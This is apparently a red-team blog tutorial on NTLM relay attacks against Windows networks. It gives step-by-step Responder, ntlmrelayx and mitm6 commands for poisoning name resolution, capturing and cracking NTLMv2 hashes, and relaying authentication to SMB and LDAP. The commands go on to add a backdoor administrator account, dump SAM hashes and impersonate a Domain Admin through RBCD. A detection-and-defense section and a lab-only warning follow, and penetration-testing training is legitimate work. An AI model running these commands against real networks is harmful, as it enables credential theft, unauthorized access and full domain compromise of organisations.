Responder and NTLM relay attacks are foundational techniques in every serious red team engagement. If you’re on an internal network segment and you don’t have credentials yet, these two tools will often get you there in under five minutes.
This guide covers everything — from why these attacks work to advanced relay chains that can get you from zero to Domain Admin without touching a single exploit.
What Problem Are We Solving?
You’re on an internal network. No creds, no foothold. You need to move.
NTLM relay attacks exploit a quirk in how Windows handles authentication: when a machine tries to reach a hostname that doesn’t exist in DNS, it broadcasts a request using LLMNR (Link-Local Multicast Name Resolution) or NBT-NS (NetBIOS Name Service). Anyone on the same network segment can respond.
Responder answers those broadcasts and captures NTLMv2 hashes. With ntlmrelayx, you can go further — instead of capturing hashes to crack offline, you relay the authentication in real time to other services and authenticate as that user.
The attack requires:
- A misconfigured environment (LLMNR/NBT-NS not disabled — the default on most Windows networks)
- A user typing a wrong path, mistyped hostname, or any event triggering a name resolution broadcast
- You being on the same Layer 2 network segment
The Tools
Responder
Built by Laurent Gaffié. Included in Kali Linux and most pentesting distros.
# Check version
responder --version
# Install from source if needed
git clone https://github.com/lgandx/Responder.git
Responder is a poisoner — it answers LLMNR, NBT-NS, and mDNS broadcasts with its own IP, then captures NTLM authentication attempts. It runs fake SMB, HTTP, LDAP, FTP, MSSQL, and other servers to catch credentials across protocols.
ntlmrelayx (Impacket)
Part of the Impacket suite. The relay engine.
# Confirm it's available
ntlmrelayx.py --help
# Or from Impacket install
python3 /opt/impacket/examples/ntlmrelayx.py --help
Need a lab environment? Both tools work best on a live internal network. Spin up a VPS lab on Vultr or DigitalOcean and deploy a Windows Server VM + Windows 10 client to practice legally.
Phase 1: Credential Capture with Responder
Basic Setup
Before running Responder, identify your network interface:
ip a
# Note your interface: eth0, ens3, etc.
Basic Responder run:
sudo responder -I eth0 -wdPv
Flags explained:
| Flag | Meaning |
|---|---|
-I eth0 | Interface to listen on |
-w | Enable WPAD proxy server |
-d | Enable DHCP poisoning (use carefully) |
-P | Force NTLM authentication on WPAD |
-v | Verbose |
What Responder Captures
Watch the console. When a user on the network mistype a hostname or accesses \\FILESERVER01 (which doesn’t exist), you’ll see:
[SMB] NTLMv2-SSP Client : 192.168.1.42
[SMB] NTLMv2-SSP Username : CORP\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::CORP:a3f8d2b1...<long hash>...
Captured hashes are saved to:
/usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.42.txt
Cracking Captured Hashes
NTLMv2 hashes are crackable offline. Feed them to Hashcat:
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt --force
Mode 5600 = NTLMv2. With a decent GPU and common passwords, you’ll crack a good percentage.
But cracking is slow and not guaranteed. Relay is better.
Phase 2: NTLM Relay — The Better Attack
Cracking requires the hash. Relaying skips that entirely — you become the user in real time.
How Relay Works
User → (types \\NONEXISTENT) → Broadcasts LLMNR
Responder → (responds: "that's me, 192.168.1.100")
User → (sends NTLM auth to 192.168.1.100)
ntlmrelayx → (relays that auth to TARGET)
Target → (thinks it's authenticating the user)
ntlmrelayx → (you now have an authenticated session on TARGET)
Critical Requirement: SMB Signing
NTLM relay to SMB only works if SMB signing is not enforced on the target. Domain Controllers always enforce signing. Regular workstations and many servers do not.
Check which hosts have SMB signing disabled:
# Using Nmap
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
# Using netexec (CrackMapExec replacement)
nxc smb 192.168.1.0/24 --gen-relay-list targets_no_signing.txt
The --gen-relay-list flag is key — it generates a list of hosts where relay will work.
Setting Up for Relay
You cannot run Responder and ntlmrelayx both capturing on the same port. When relaying, disable Responder’s SMB and HTTP servers:
Edit /etc/responder/Responder.conf:
[Responder Core]
...
SMB = Off
HTTP = Off
Then run Responder (poisoner only, no server):
sudo responder -I eth0 -wPd
In a second terminal, run ntlmrelayx:
# Basic relay — relay to all targets in list, dump SAM
sudo ntlmrelayx.py -tf targets_no_signing.txt -smb2support
# Interactive shell on target
sudo ntlmrelayx.py -tf targets_no_signing.txt -smb2support -i
# Execute a command
sudo ntlmrelayx.py -tf targets_no_signing.txt -smb2support -c "whoami"
Phase 3: Advanced Relay Techniques
LDAP Relay — The Domain Admin Path
Relaying to LDAP (port 389) or LDAPS (port 636) is where things get interesting. If you relay a Domain Admin’s authentication to the DC’s LDAP, you can:
- Create new AD users
- Add users to privileged groups
- Modify ACLs
- Create machine accounts (useful for Kerberos attacks)
# Relay to DC LDAP
sudo ntlmrelayx.py -t ldap://10.10.10.1 -wh fake-wpad --escalate-user lowprivuser
# Relay to LDAPS (need valid cert check)
sudo ntlmrelayx.py -t ldaps://10.10.10.1 --add-computer EVIL_COMPUTER$
The --add-computer flag creates a machine account in AD — useful for Kerberos-based attacks like Resource-Based Constrained Delegation (RBCD).
LDAP signing note: LDAP relay has the same signing caveat. LDAP signing is not enforced by default on most DCs (unlike SMB signing on DCs). This is a common misconfiguration.
HTTP Relay
If a user clicks a link to your machine (phishing, XSS, SSRF) and authenticates via NTLM:
# Relay HTTP auth to SMB targets
sudo ntlmrelayx.py -tf targets.txt -smb2support
# Relay HTTP to LDAP
sudo ntlmrelayx.py -t ldap://dc01.corp.local
WPAD (Web Proxy Auto-Discovery) is a common trigger — Responder’s -w flag enables a fake WPAD server. Many Windows machines will auto-request http://wpad/wpad.dat and authenticate.
Cross-Protocol Relay: HTTP → SMB
This is the most reliable path in modern environments:
User authenticates to fake HTTP server (WPAD)
→ Relay HTTP auth to SMB targets (not affected by HTTP auth restrictions)
→ Execute commands on target host
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support -c "net user hacker Password123! /add && net localgroup administrators hacker /add"
Relay Chains with Multiple Targets
Target multiple hosts simultaneously:
# Relay to all targets in list
sudo ntlmrelayx.py -tf /tmp/targets_no_signing.txt -smb2support -l /tmp/relay_output/
The -l flag dumps output (SAM hashes, shares, etc.) to a directory for each compromised host.
Phase 4: Post-Relay Actions
Interactive SMB Shell
sudo ntlmrelayx.py -tf targets.txt -smb2support -i
Connect to the interactive shell:
nc 127.0.0.1 11000
# Type 'help' for available commands
Secretsdump via Relay
Dump SAM/LSA secrets directly:
sudo ntlmrelayx.py -tf targets.txt -smb2support
Output when successful:
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jdoe:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Pass those NT hashes with PTH. Full circle.
RBCD Attack via LDAP Relay
Resource-Based Constrained Delegation (RBCD) is one of the most powerful post-relay paths. Here’s the chain:
- Relay auth to DC LDAP
- Create a machine account (
--add-computer) - Configure RBCD: set the target computer’s
msDS-AllowedToActOnBehalfOfOtherIdentityto include your machine account - Use Rubeus or getST.py to impersonate Domain Admin
# Step 1: Relay + create machine account + configure RBCD
sudo ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access --escalate-user lowprivuser
# Step 2: Get service ticket impersonating admin
getST.py -spn cifs/target01.corp.local -impersonate administrator corp.local/EVIL_COMPUTER$:Password@
export KRB5CCNAME=administrator.ccache
# Step 3: Use ticket
secretsdump.py -k -no-pass target01.corp.local
Phase 5: IPv6 Relay (mitm6)
Modern environments increasingly disable LLMNR/NBT-NS but forget about IPv6. Enter mitm6.
Windows prefers IPv6 over IPv4 by default. If you can inject a rogue DHCPv6 server and become the DNS server for the network, every machine will send you DNS queries — and authenticate.
# Install
pip3 install mitm6
# Run (target domain)
sudo mitm6 -d corp.local
# Run ntlmrelayx alongside
sudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh wpad.corp.local --add-computer --delegate-access
This combo works even when LLMNR/NBT-NS are both disabled. It’s the modern version of the attack.
Practical Attack Workflow
1. Reconnaissance
└─ Identify IP ranges, DC hostname, signing status
2. Generate relay list
└─ nxc smb <range> --gen-relay-list targets.txt
3. Start poisoner
└─ responder -I eth0 (SMB/HTTP off) OR mitm6 -d corp.local
4. Start relay
└─ ntlmrelayx.py -tf targets.txt -smb2support -l /tmp/output/
5. Wait for auth events (minutes to hours depending on activity)
6. Post-relay actions
└─ SAM dump → pass-the-hash → lateral movement
└─ LDAP relay → create admin account
└─ RBCD attack → domain compromise
Responder Tips and Gotchas
Don’t run Responder on SMB/HTTP when relaying — you’ll capture and drop the auth instead of relaying it.
Run as root — Responder needs raw socket access.
High-traffic networks move fast — have ntlmrelayx ready before Responder so you don’t miss auth events.
Multiple network adapters — if you have VPN + LAN, specify the right interface (-I) or Responder may listen on the wrong one.
Responder logs everything to /usr/share/responder/logs/. Review them even if the terminal scrolled past.
Check if you’re already on the same VLAN as targets — Layer 3 attacks (across routers) don’t work for LLMNR poisoning. You need to be on the same broadcast domain.
Detection & Defense
If you’re on the blue team or doing purple team work, here’s how this gets caught and stopped:
Prevention
- Disable LLMNR via GPO: Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution → Enabled
- Disable NBT-NS: Network adapter settings → TCP/IP → Advanced → WINS → Disable NetBIOS over TCP/IP
- Enable SMB signing on all hosts (not just DCs):
Set-SmbServerConfiguration -RequireSecuritySignature $true - Enable LDAP signing + channel binding on DCs
- Block inbound traffic on ports 445, 139 from workstation segments to workstations (firewall segmentation)
- Disable NTLM where possible — Kerberos-only environments are immune to relay
Detection
- Honeypot shares: Create fake
\\FILESERVERshares that exist in DNS but log all auth attempts. Any hits = attacker present. - Monitor LLMNR/mDNS traffic: Spikes in broadcast traffic from a single source = Responder running.
- Windows Event ID 4648 (Explicit Credential Use) + 4624 (Logon) from unexpected sources
- Wireshark signature: LLMNR queries answered by an unexpected host
- Microsoft Defender: Responder is well-signatured — most EDR products catch it at the binary level
Practice Environment Setup
Don’t practice these attacks on networks you don’t own. Set up a proper lab:
Minimum lab for Responder/relay practice:
- 1x Windows Server 2022 (Domain Controller)
- 1x Windows 10/11 (domain-joined workstation)
- 1x Kali Linux (attacker)
- All on the same LAN/VLAN
Vultr lets you spin this up in minutes with private networking. DigitalOcean is a solid alternative if you’re already in that ecosystem. Both give you full control over the network config — which you need for Layer 2 attacks.
Summary
Responder + ntlmrelayx is one of the most reliable initial access and privilege escalation paths in Windows environments. The attack works because:
- LLMNR/NBT-NS are still enabled on most enterprise networks
- SMB signing is not enforced on most workstations
- Humans make typos and misconfigure UNC paths constantly
For modern environments with LLMNR/NBT-NS disabled, mitm6 fills the gap — exploiting Windows’ default preference for IPv6.
Master this combo. It shows up in almost every internal pentest.
Need a Professional Report?
If you’re running internal engagements and need polished pentest reports that clients actually read, check out CipherWrite — technical writing for security professionals.
